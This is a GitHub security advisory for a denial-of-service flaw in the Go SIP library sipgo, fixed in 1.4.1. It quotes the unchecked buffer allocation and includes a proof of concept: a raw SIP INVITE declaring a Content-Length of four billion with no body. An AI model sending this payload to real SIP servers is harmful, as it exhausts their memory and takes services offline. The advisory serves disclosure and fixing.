GitHub Advisoryadvisory · Go
GHSA-pg59-5vwg-4jxq SIPGO: DoS via unvalidated Content-Length in the stream parser
HIGH
Official page ↗
- Aliases
- CVE-2026-58268
- Ecosystem
- Go
- Packages
- github.com/emiago/sipgo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-789
- Reviewed
- 2026-09-22
Affected packages
• Go github.com/emiago/sipgo: < 1.4.1 → fixed in 1.4.1
Description
Summary
The stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS.
Details
`ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
```go
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
```
The `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large `Content-Length` and no body to a SIP server:
```
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: ;tag=1
To:
Call-ID: [email protected]
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
```
Suggested Fix
Validate `contentLength` against `ParseMaxMessageLength` before the allocation.
Impact
Unauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
Related
Alias · CVE (1)
- CVE-2026-58268 SIPGO is a library for writing SIP services in the GO language. vulnerability
Weakness · CWE (1)
- CWE-789 Memory Allocation with Excessive Size Value weakness